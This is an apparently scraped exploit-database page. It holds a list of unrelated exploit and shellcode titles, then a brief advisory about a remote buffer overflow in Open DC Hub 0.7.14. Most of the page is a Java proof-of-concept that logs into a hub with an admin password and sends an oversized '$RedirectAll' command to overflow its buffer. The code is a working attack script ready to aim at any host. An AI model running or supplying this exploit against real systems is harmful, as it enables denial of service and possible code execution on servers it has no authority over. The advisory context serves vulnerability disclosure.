
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
119 lines
No EOL
3.4 KiB
Java
119 lines
No EOL
3.4 KiB
Java
source: https://www.securityfocus.com/bid/11747/info
|
|
|
|
A remote buffer overflow vulnerability reportedly affects the Open DC Hub. This issue is due to a failure of the application to properly validate the length of user-supplied strings prior to copying them into finite process buffers.
|
|
|
|
An attacker may exploit this issue to execute arbitrary code with the privileges of the user that activated the vulnerable application. This may facilitate unauthorized access or privilege escalation.
|
|
|
|
|
|
/*
|
|
Open Dc Hub (0.7.14) - Buffer Overflow - Proof Of Concept
|
|
Coded by: Donato Ferrante
|
|
*/
|
|
|
|
|
|
|
|
import java.net.Socket;
|
|
import java.net.UnknownHostException;
|
|
import java.net.SocketTimeoutException;
|
|
import java.io.BufferedReader;
|
|
import java.io.InputStreamReader;
|
|
import java.io.PrintStream;
|
|
|
|
|
|
|
|
public class OpenDcHub0714_BOF_poc {
|
|
|
|
|
|
private static int PORT = 53696;
|
|
private static int MAXSZ = 512;
|
|
private static String VERSION = "0.1";
|
|
|
|
public static void main(String [] args){
|
|
|
|
System.out.println(
|
|
"\n\n" +
|
|
"Open Dc Hub - Buffer Overflow - Proof Of Concept\n" +
|
|
"Version: " + VERSION + "\n" +
|
|
"coded by: Donato Ferrante\n" +
|
|
"e-mail: fdonato@autistici.org\n" +
|
|
"web: www.autistici.org/fdonato\n\n"
|
|
);
|
|
|
|
if(args.length <= 1){
|
|
System.out.println(
|
|
"Usage: java OpenDcHub0714_BOF_poc <host> <port> <admin_password>\n" +
|
|
"Note: default port is 53696.\n"
|
|
);
|
|
System.exit(-1);
|
|
}
|
|
|
|
String host = args[0];
|
|
String admin_password = args[args.length - 1];
|
|
int port = PORT;
|
|
|
|
try{
|
|
if(args.length > 2)
|
|
port = Integer.parseInt(args[1]);
|
|
}catch(Exception e){ port = PORT; }
|
|
|
|
try{
|
|
|
|
Socket socket = new Socket(host, port);
|
|
socket.setSoTimeout(10000);
|
|
BufferedReader in_stream = new BufferedReader(new InputStreamReader(socket.getInputStream()));
|
|
PrintStream out_stream = new PrintStream(socket.getOutputStream());
|
|
|
|
System.out.println(in_stream.readLine());
|
|
System.out.println(in_stream.readLine());
|
|
System.out.println(in_stream.readLine());
|
|
System.out.println(in_stream.readLine());
|
|
|
|
System.out.println("Logging...");
|
|
out_stream.println("$adminpass " + admin_password +"|\n");
|
|
|
|
in_stream.readLine();
|
|
String err = in_stream.readLine();
|
|
|
|
if(err.toLowerCase().indexOf("bad") >= 0){
|
|
System.out.println("Login failed...");
|
|
System.out.println("Exiting...");
|
|
System.exit(-1);
|
|
}
|
|
else
|
|
System.out.println("Logged in...");
|
|
|
|
|
|
System.out.println("Building test string to inject...");
|
|
String buff = build();
|
|
Thread.sleep(1500);
|
|
|
|
System.out.println("Injecting test string...");
|
|
out_stream.println(buff);
|
|
Thread.sleep(1500);
|
|
|
|
System.out.println("Proof_Of_Concept terminated.");
|
|
|
|
}catch(SocketTimeoutException ste){System.out.println("Socket timeout."); System.exit(-1);}
|
|
catch(UnknownHostException uhe){ System.out.println("Host: " + host + " unknown.."); System.exit(-1); }
|
|
catch(InterruptedException ie){ System.out.println("Thread warning...");}
|
|
catch(Exception ioe){ System.out.println("Unable to create the socket!"); System.exit(-1);}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private static String build(){
|
|
|
|
String over = "";
|
|
for(int i = 0; i < MAXSZ; i++)
|
|
over += 0x61;
|
|
|
|
String ret = "$RedirectAll " + over + "|\n";
|
|
return ret;
|
|
}
|
|
|
|
|
|
} |